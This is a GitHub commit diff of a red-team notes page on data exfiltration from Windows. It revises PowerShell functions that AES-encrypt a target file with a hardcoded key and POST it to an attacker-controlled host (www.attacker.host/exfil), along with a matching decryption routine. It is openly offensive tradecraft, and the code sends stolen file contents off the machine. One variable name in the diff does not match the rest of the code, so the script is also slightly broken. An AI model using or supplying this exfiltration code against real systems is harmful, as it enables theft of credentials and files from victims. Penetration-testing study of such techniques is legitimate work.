Skip to content

Commit d936aab

Browse files
zweilosecgitbook-bot
authored andcommitted
GitBook: [#338] No subject
1 parent ba766fb commit d936aab

File tree

1 file changed

+58
-14
lines changed

1 file changed

+58
-14
lines changed

windows-1/windows-redteam/data-exfiltration.md

Lines changed: 58 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -91,17 +91,44 @@ See [this section](privilege-escalation.md#smb) under Privilege Escalation for m
9191

9292
If you set up a web server to accept post requests, you can either AES encrypt or base64 encode your target data and simply send an HTTP request to the server with the data. 
9393

94+
{% hint style="warning" %}
95+
Warning: SecureString has a maximum length of **65536** characters. This limits the size of the file that can be sent to about 65kb.
96+
{% endhint %}
97+
9498
Example with AES encrypted payload:
9599

96100
```powershell
97-
$file = Get-Content C:\Users\Target\Desktop\passwords.txt
98-
#key must be 128 bits (16 chars), 192 bits (24 chars), or 256 bits (32 chars)
99-
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("usemetodecryptit")
100-
$securestring = New-Object System.Security.SecureString
101-
102-
foreach ($char in $file.toCharArray()) {$secureString.AppendChar($char)}
103-
104-
$encryptedData = ConvertFrom-SecureString -SecureString $secureString -Key $key
101+
function Encrypt-File
102+
{
103+
param(
104+
[Parameter(Mandatory=$true)]
105+
[String]$Path,
106+
[Switch]$UTF8
107+
)
108+
109+
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("usemetodecryptit")
110+
$securestring = new-object System.Security.SecureString
111+
112+
[byte[]]$data = Get-Content -Encoding Byte -Path $Path
113+
#Use the -UTF8 flag if your input file is UTF-8 encoded!
114+
#There is no simple way to check this in PowerShell unfortunately. Use Notepad if possible.
115+
if ($UTF8)
116+
{
117+
$dataString = [System.Text.Encoding]::UTF8.GetString($data)
118+
}
119+
else
120+
{
121+
$dataString = [System.Text.Encoding]::Unicode.GetString($data)
122+
}
123+
124+
foreach ($char in $dataString.toCharArray()) {
125+
$secureString.AppendChar($char)
126+
}
127+
128+
$encrypted = ConvertFrom-SecureString -SecureString $secureString -Key $key
129+
130+
return $encrypted
131+
}
105132
106133
Invoke-WebRequest -Uri http://www.attacker.host/exfil -Method POST -Body $encryptedData
107134
```
@@ -111,16 +138,33 @@ You can also skip the last command to send the web request, and simply print the
111138
To decode the data on the other side simply reverse the process:
112139

113140
```powershell
114-
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("54b8617eca0e54c7d3c8e6732c6b687a")
115-
$encrypted = "$encrypted_payload"
116-
echo $encrypted | ConvertTo-SecureString -key $key | ForEach-Object {[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))}
141+
function Decrypt_file
142+
{
143+
param(
144+
[Parameter(Mandatory=$true)]
145+
[String]
146+
$encrypted_payload,
147+
[String]
148+
$recovered = "recovered.txt"
149+
)
150+
151+
$key = (New-Object System.Text.ASCIIEncoding).GetBytes("usemetodecryptit")
152+
153+
echo $encrypted_payload | ConvertTo-SecureString -key $key | ForEach-Object {[Runtime.InteropServices.Marshal]::PtrToStringBSTR([Runtime.InteropServices.Marshal]::SecureStringToBSTR($_))} > $recovered
154+
}
117155
```
118156

119-
Simply substitute the `$encrypted_payload` variable with the actual content that was sent in the body of the HTTP request, and you will have your exfiltrated file!
157+
Simply input the `$encrypted_payload` argument with the actual content that was sent in the body of the HTTP request, and you will have your exfiltrated file!
158+
159+
{% hint style="warning" %}
160+
You may need to be cognizant of the character encoding of text files you are trying to send. If the file decrypts with no errors, but looks like garbage or random chinese characters, then you may need to use the `-UTF8` argument for the `Decrypt_file` function above. \
161+
\
162+
Output filesize for UTF-8 encoded files may be doubled, due to output being UTF-16le by default.
163+
{% endhint %}
120164

121-
This works in either Windows Powershell, or `pwsh` on Unix systems as well.  
165+
References:
122166

123-
One potential limitation I have noted is that it seems to strip out newline characters in text files.  
167+
* [https://www.delftstack.com/howto/powershell/powershell-byte-array/](https://www.delftstack.com/howto/powershell/powershell-byte-array/) 
124168

125169
### Covert to and from Base64 with PowerShell
126170

0 commit comments

Comments
 (0)